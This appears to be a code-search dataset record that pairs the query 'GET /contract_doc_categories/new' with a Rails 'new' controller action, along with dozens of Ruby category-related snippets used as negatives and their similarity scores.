[ "def index\n @contract_doc_categories = ContractDocCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contract_doc_categories }\n end\n end", "def index\n @contractor_categories = ContractorCategory.all\n end", "def GetCategories params = {}\n\n params = params.merge(path: 'categories.json')\n APICall(params)\n\n end", "def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def get_categories(project_id_or_key)\n get(\"projects/#{project_id_or_key}/categories\")\n end", "def new\n @contract_doc_category = ContractDocCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract_doc_category }\n end\n end", "def get_categories\n body = build_request(2935, 1501, \"ACTIVEHEADINGS\")\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n end", "def index\n @categories = collections_config.values\n end", "def getCategories(_, _, _)\n @db.categories\n end", "def GetCategory id\n\n APICall(path: \"categories/#{id}.json\")\n\n end", "def create\n @contract_doc_category = ContractDocCategory.new(params[:contract_doc_category])\n\n respond_to do |format|\n if @contract_doc_category.save\n format.html { redirect_to contract_doc_categories_path, notice: 'Contract doc category was successfully created.' }\n format.json { render json: @contract_doc_category, status: :created, location: @contract_doc_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contract_doc_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_categories(query_obj=nil)\n uri = URI.parse(@uri + \"/Categories\")\n results = get(uri,query_obj)\n end", "def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend", "def category\n client.categories.find(data[\"categoryId\"])\n end", "def getCategoryAll()\n params = Hash.new\n return doCurl(\"get\",\"/category/all\",params)\n end", "def index\n @all_categories = CateItem.all\n end", "def categories\n\t\tbegin\n\t\t\t@categories = Category.select(:id, :name)\n\t\t\trender json: @categories\n\t\trescue Exception => e\n\t\t\terror_handling_bad_request(e)\n\t\tend\n\tend", "def destroy\n @contract_doc_category = ContractDocCategory.find(params[:id])\n @contract_doc_category.destroy\n\n respond_to do |format|\n format.html { redirect_to contract_doc_categories_url }\n format.json { head :no_content }\n end\n end", "def index\n @incidentcategories = Incidentcategory.all\n json_response(@incidentcategories)\n end", "def categories(query_object)\n\t\tdata = do_get_json(CATEGORIES_ENDPOINT, query_object)\n\tend", "def get_categories(add_params = nil)\n params = {\n }\n api_call('/global/categories(.:format)',:get,params,add_params)\n end", "def index\n @categories = @project.categories.all\n end", "def budget_categories_data\n # @budget.budget_items.collect { |budget_item| budget_item.category.name.to_s }.to_json\n categories = Category.for_budget.to_a\n categories << Category.find_by_name(\"Miscellaneous\")\n return categories.collect { |category| category.name.to_s }.to_json\n end", "def index\n @categories = CategoryService.index\n end", "def getcategories\n category_size = RequirementCategory.all.length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n\n \tif current_offset + direction < category_size && current_offset + direction >= 0\n offset = current_offset + direction\n \t@categories = RequirementCategory.all.offset(offset).take(10) \n \trender :json => @categories\n else\n \trender :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n\n\tend", "def get_categories_list\n args = receive_should_validate?\n get('redtube.Categories.getCategoriesList', {}, [], args[:should_validate])\n end", "def index\n @convention_categories = ConventionCategory.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @convention_categories }\n end\n end", "def categories(options = {})\n fetch_categories.at('categories').children_of_type('category').inject([]){ |r, i| r << parse_single_category_xml(i) }\n\tend", "def get_menu_category\n require \"rest_client\"\n require \"json\"\n\n self.categories.update_all(still_present: false)\n response = RestClient.get(\"https://api.omnivore.io/0.1/locations/#{self.omnivore_id}/menu/categories\", {:content_type => :json, :'Api-Key' => Setting.first.app_api_key})\n res = JSON.parse(response)\n res[\"_embedded\"][\"categories\"].each do |category|\n cat = self.categories.where(omnivore_id: category[\"id\"]).first_or_create\n cat.name = category[\"name\"]\n cat.still_present = true\n cat.save\n end\n\n self.categories.where(still_present: false).destroy_all\n end", "def index\n @categories = Category.roots\n end", "def categories\n expose Metadata.categories(@oauth_token)\n end", "def index\n @catalog_categories = CatalogCategory.all\n end", "def categories(args={})\n res = api_request('private.request.getCategories', 'GET')\n res = JSON.parse(res)['category'] rescue []\n\n unless args[:include_deleted] and args[:include_deleted] == true\n res.reject!{|k, v| v['fDeleted'] == '1'} rescue []\n end\n \n return res\n end", "def categories\n @categories ||= (@doc/\"Category\").collect { |it| Element.new(it) }\n end", "def get_category\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def index\n categories = @vertical.catgories.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded categories', data:categories},status: :ok\n end", "def all_categories\n end", "def index\n @cp_categories = Category.all\n @title = \"Categories\"\n end", "def categories\n get('venues/categories').categories\n end", "def list_customer_categories\n doc = Hpricot::XML(request.raw_post) \n doc = doc.to_s.gsub(\"&amp;\",\"&\") \n doc = Hpricot::XML(doc)\n @customer_categories = Customer::CustomerCrud.list_customer_categories(doc)\n render_view( @customer_categories,'customer_categories','L')\n end", "def index\n @categories = @current_website.categories.all\n end", "def index\n @company_categories = CompanyCategory.all\n end", "def get_categories\n @categories = Category.all\n end", "def categories\n add_to_query restrict_kind: 'category'\n end", "def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.get_categories ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_search'] = opts[:'filter_search'] if !opts[:'filter_search'].nil?\n query_params[:'filter_active'] = opts[:'filter_active'] if !opts[:'filter_active'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceCategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @categs = Categ.all\n end", "def categories\n []\n end", "def index\n #expires_in 24.hours\n #fresh_when last_modified: @max, public: true\n @roots = @categories.roots\n @keyword = String.new\n\n @roots.each do |r|\n @keyword << r.name << \" \"\n end\n\n if params[:id]\n if c = Category.find(params[:id])\n redirect_to c\n return\n else\n flash.now[:error] = \"Category not found.\"\n end\n end\n\n respond_to do |format|\n format.html\n format.json {render json:@categories}\n end\n\n end", "def get_categories()\n\t\tzomoato_categories_url = @base_uri + \"categories\"\n\t\tresponse = HTTParty.get(zomoato_categories_url, headers: @headers)\n\t\tif response.success?\n\t\t\t@categories = response.parsed_response\n\t\telse\n\t\t\traise response.response\n\t\tend\n\t\treturn @categories\n\tend", "def get_category id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get CATEGORIES, id )\n\t\t\t\tend", "def categories(params={})\n return @categories if (@categories && !params[:force])\n @categories = get_categories\n end", "def index\n\n\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def fetch_categories\r\n page = File.open(\"#{Rails.root}/public/Categories.html\") { |f| Nokogiri::HTML(f) }\r\n Category.save_fetched_categories_and_subcategories(page)\r\n end", "def index\r\n @ccategories = Ccategory.all\r\n\t@cart = current_cart\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @ccategories }\r\n end\r\n end", "def index\n categories = {\n \"categoryId\": params[:ids]\n }\n auction_categories = Auction::Category.list categories\n if auction_categories[:comm][:code] == \"200\"\n render json: {status: auction_categories[:comm][:code].to_i, msg: auction_categories[:comm][:msg], data: {auction_categories: auction_categories[:data]}}\n else\n render json: {status: auction_categories[:comm][:code].to_i, msg: auction_categories[:comm][:msg], data: {}}\n end\n end", "def index\n @word_content_categories = WordContentCategory.all\n end", "def get_subcategories\r\n sub_categories = Taxonomy.get_subcategories\r\n render json: sub_categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def index\n respond_with Category.all\n end", "def index\n @section_categories = SectionCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @section_categories }\n end\n end", "def index\n @categories = Category.all\n @categories.each do |category|\n authorize! :read, category\n end\n render json: @categories\n end", "def index\n @mk_categories = MkCategoria.all\n end", "def index\n @roots = Category.roots\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @categories }\n end\n end", "def index\n @sys_categories = Sys::Category.all\n end", "def index\n categories = Category.all\n render json:categories\n end", "def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CategoriesApi.get_categories ...'\n end\n # resource path\n local_var_path = '/categories'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Category>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n\t\tcreator_categories\n\tend", "def index\n @cover_cats = CoverCat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cover_cats }\n end\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @body_style_categorizations = if params[:category_id]\n Category.find(params[:category_id]).body_style_categorizations\n else\n BodyStyleCategorization.order(:category_id, :position)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @body_style_categorizations }\n end\n end", "def index\n\t@categories = Category.all\n\tend", "def index\n\t @categories = Category.all\n\n\t respond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @categories }\n\t end\n\tend", "def index\n\t\t@categories = Category.all\n\tend", "def index\n @goods_categories = GoodsCategory.roots\n @goods_category = GoodsCategory.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goods_categories }\n end\n end" ]
[ "0.77587914", "0.6861526", "0.67619574", "0.6758411", "0.65605724", "0.6559104", "0.65535885", "0.6548796", "0.6535411", "0.64795077", "0.63826764", "0.6365459", "0.63415504", "0.63379645", "0.6326459", "0.6304687", "0.6299475", "0.62989205", "0.629847", "0.624121", "0.62383884", "0.6227274", "0.6225644", "0.6192985", "0.6185097", "0.6179657", "0.616928", "0.6112024", "0.6108584", "0.61062443", "0.61058104", "0.6089951", "0.608613", "0.6064933", "0.60643727", "0.60570663", "0.6051145", "0.6037154", "0.60357255", "0.60344666", "0.60221624", "0.6013362", "0.6012997", "0.6007503", "0.6004931", "0.6004711", "0.59989977", "0.5992343", "0.59913236", "0.59897757", "0.5987904", "0.5982169", "0.5967103", "0.59661734", "0.59661734", "0.59537524", "0.5949792", "0.5938532", "0.593189", "0.59216857", "0.59156096", "0.59089965", "0.5904096", "0.58978504", "0.58959645", "0.58951837", "0.58914906", "0.5890054", "0.58843637", "0.58832234", "0.58722454", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5869854", "0.5867802", "0.5867745", "0.5867454", "0.58650875", "0.5862358" ]
0.6912725
1
GET /contract_doc_categories/new GET /contract_doc_categories/new.json
def new @contract_doc_category = ContractDocCategory.new respond_to do |format| format.html # new.html.erb format.json { render json: @contract_doc_category } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @contract_doc_category = ContractDocCategory.new(params[:contract_doc_category])\n\n respond_to do |format|\n if @contract_doc_category.save\n format.html { redirect_to contract_doc_categories_path, notice: 'Contract doc category was successfully created.' }\n format.json { render json: @contract_doc_category, status: :created, location: @contract_doc_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contract_doc_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n puts @category.inspect\n @internal = @category.internals.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @internal }\n end\n end", "def new\n return unless representsCompany?\n\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @collection = Collection.find(params[:collection_id])\n @category_collection = CategoryCollection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @category_collection }\n end\n end", "def new\n @category = current_mall.categories.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @consumer_category = ConsumerCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @consumer_category }\n end\n end", "def new\n @category = Category.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def CreateCategory params = {}\n \n APICall(path: 'categories.json',method: 'POST',payload: params.to_json)\n \n end", "def create\n category = Documents::Category.create(category_params)\n if category.save\n redirect_to categories_path\n else\n redirect_to categories_path, alert: I18n.t('admin.categories.validation_error')\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category}\n end\n end", "def create\n @catalog_category = CatalogCategory.new(catalog_category_params)\n\n respond_to do |format|\n if @catalog_category.save\n format.html { redirect_to catalog_categories_url }\n format.json { render :show, status: :created, location: @catalog_category }\n else\n format.html { render :new }\n format.json { render json: @catalog_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n# @category = Category.by_company(current_company.id).new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @category }\n end\n end", "def category_new\n @finance_transaction_category = FinanceTransactionCategory.new\n end", "def new\n @connection_category_class = ConnectionCategoryClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @connection_category_class }\n end\n end", "def new\n @title = t(\"h2.categories\")\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @category }\n end\n end", "def new\n @convention_category = ConventionCategory.new\n\n # create the translation object for however many locales there are\n # so the form will properly create all of the nested form fields\n I18n.available_locales.each do |locale|\n\t\t\t@convention_category.convention_category_translations.build(:locale => locale.to_s)\n\t\tend\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @convention_category }\n end\n end", "def new\n @categorization = Categorization.new\n @categories = category_list\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @categorization }\n end\n end", "def new\n @breadcrumb = 'create'\n @contracting_request_document_type = ContractingRequestDocumentType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contracting_request_document_type }\n end\n end", "def create_category payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post CATEGORIES, payload )\n\t\t\t\tend", "def create\n @contractor_category = ContractorCategory.new(contractor_category_params)\n\n respond_to do |format|\n if @contractor_category.save\n format.html { redirect_to @contractor_category, notice: 'Contractor category was successfully created.' }\n format.json { render :show, status: :created, location: @contractor_category }\n else\n format.html { render :new }\n format.json { render json: @contractor_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = @collection.categories.new(category_params)\n\n if @category.save\n ActionCable.server.broadcast 'categories',\n title: @category.title,\n collection_id: @category.collection_id\n head :ok\n else\n\n end\n end", "def new\n # category instance\n @category = Category.new\n end", "def new\n @post_category = Post::Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post_category }\n end\n end", "def create\n# @category = Category.by_company(current_company.id).new(params[:bank_deposit])\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to(@category, :notice => t('scaffold.notice.created', :item=> Category.model_name.human)) }\n format.xml { render :xml => @category, :status => :created, :location => @category }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n\t\t@book = Book.new\n\t\t@all_categories = get_all_categories\n\t\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\tend\n\tend", "def new\n @category = Category.new\n\n # @categories = Category.all\n\n # respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: @category }\n # end\n end", "def new\n @course_category = CourseCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_category }\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @goods_categories = GoodsCategory.roots\n @goods_category = GoodsCategory.new\n\n respond_to do |format|\n format.html {render action: \"index\"}\n format.json { render json: @goods_category }\n end\n end", "def create\n @consumer_category = ConsumerCategory.new(params[:consumer_category])\n\n respond_to do |format|\n if @consumer_category.save\n format.html { redirect_to @consumer_category, notice: 'Consumer category was successfully created.' }\n format.json { render json: @consumer_category, status: :created, location: @consumer_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @consumer_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @category_type = CategoryType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category_type }\n end\n end", "def new\n\t\t@category = Category.new\n\tend", "def new\n\t\t@category = Category.new\n\tend", "def new\n @cat = Category.new\n end", "def new\n @budgetcategory = Budgetcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgetcategory }\n end\n end", "def new\n @model = Model.new\n# @model.build_category\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end", "def new\n @model = Model.new\n# @model.build_category\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end", "def new\n @cat = Cat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cat }\n end\n end", "def new\n @cat = Cat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cat }\n end\n end", "def new\n @billcategory = Billcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @billcategory }\n end\n end", "def new\n @categorias_tipo = CatTipo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @categorias_tipo }\n end\n end", "def new\n @cover_cat = CoverCat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cover_cat }\n end\n end", "def new\n @exhibitor_category = ExhibitorCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exhibitor_category }\n end\n end", "def new\n @taxonomy_category = TaxonomyCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @taxonomy_category }\n end\n end", "def new\n \t@category = Category.new\n end", "def index\n @contract_doc_categories = ContractDocCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contract_doc_categories }\n end\n end", "def new\n @finding_category = FindingCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finding_category }\n end\n end", "def create\n json_create(category_params, Category)\n end", "def new\n @category = Category.new\n @top_categories = Category.top_categories\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @categories = Category.where(validity: true)\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def create\n @category = current_mall.categories.new(params[:category])\n\n if @category.save\n render json: @category, status: :created\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def new\n @categoria = Categoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @categoria }\n end\n end", "def new\n @service_category = ServiceCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @service_category }\n end\n end", "def create\n\t\t@cat = Cat.new(cat_params)\n\n\t\tif @cat.save\n\t\t\t# cat_url(@cat) == /cat/{@cat.id}\n\t\t\tredirect_to cat_url(@cat)\n\t\telse\n\t\t\trender :new\n\t\t\t# render json: @cat.errors.full_messages, status: :unprocessable_entity\n\t\tend \n\tend", "def new\n \t@category =Category.new\n end", "def create\n if @category.save\n render json: @category, status: :created, location: @category\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def new\n @admin_section = true\n @course_category = CourseCategory.new\n @page_title = \"New Course Category\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course_category }\n end\n end", "def new\n @quest = Quest.new\n\t@categories = find_all_categories\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def new\n @internal_category = InternalCategory.new\n end", "def create\n @categ = Categ.new(categ_params)\n\n respond_to do |format|\n if @categ.save\n format.html { redirect_to @categ, notice: 'Categ was successfully created.' }\n format.json { render :show, status: :created, location: @categ }\n else\n format.html { render :new }\n format.json { render json: @categ.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @category = Category.new\n @title = \"Новая категория\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @recipe_category = RecipeCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe_category }\n end\n end", "def new\r\n @administration_category = Category.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @administration_category }\r\n end\r\n end", "def new\n @project_category = ProjectCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_category }\n end\n end", "def create\n @categorization = Categorization.new(params[:categorization])\n @categories = category_list\n respond_to do |format|\n if @categorization.save\n format.html { redirect_to(admin_categorization_path(@categorization), :notice => 'Categorization was successfully created.') }\n format.xml { render :xml => @categorization, :status => :created, :location => @categorization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @categorization.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @exhibitior_category = ExhibitiorCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exhibitior_category }\n end\n end", "def new\n @channel_category = ChannelCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @channel_category }\n end\n end", "def new\n @pcategory = Pcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pcategory }\n end\n end", "def new\r\n @ccategory = Ccategory.new\r\n @titles = ptitles\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @ccategory }\r\n end\r\n end", "def new\n @document = Document.new\n @document.section_identifier = params[:section]\n @categories = Category.find_all_by_section_identifier(params[:section])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end", "def new\n @category = @section.dish_categories.build\n\n\n respond_to do |format|\n format.html { render \"edit\"}\n format.json { render json: @category }\n end\n end", "def new\n @documentocategoria = Documentocategoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentocategoria }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @category }\n end\n end", "def create\n @post_category = Post::Category.new(params[:post_category])\n\n respond_to do |format|\n if @post_category.save\n format.html { redirect_to @post_category, notice: 'Category was successfully created.' }\n format.json { render json: @post_category, status: :created, location: @post_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @category = Category.new\n end", "def new\n @category = Category.new\n end", "def new\n @category = Category.new\n end", "def new\n @category = Category.new\n end", "def new\n @category = Category.new\n end", "def new\n @category = Category.new\n end", "def new\n @category = Category.new\n end", "def new\n @category = Category.new\n end", "def new\n @category = Category.new\n #if params[:parent_id] then\n # @category[:parent_id] = params[:parent_id].to_i\n #end\n #This is for if I want to create a link already with this category\n #@category.link_paths.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @space_cat = SpaceCat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @space_cat }\n end\n end", "def new\n @body_style_categorization = BodyStyleCategorization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @body_style_categorization }\n end\n end", "def create\n @course_category = CourseCategory.new(params[:course_category])\n\n respond_to do |format|\n if @course_category.save\n format.html { redirect_to @course_category, notice: 'Course category was successfully created.' }\n format.json { render json: @course_category, status: :created, location: @course_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @category }\n end\n end", "def create\n @category_form_url = forum_categories_path\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end" ]
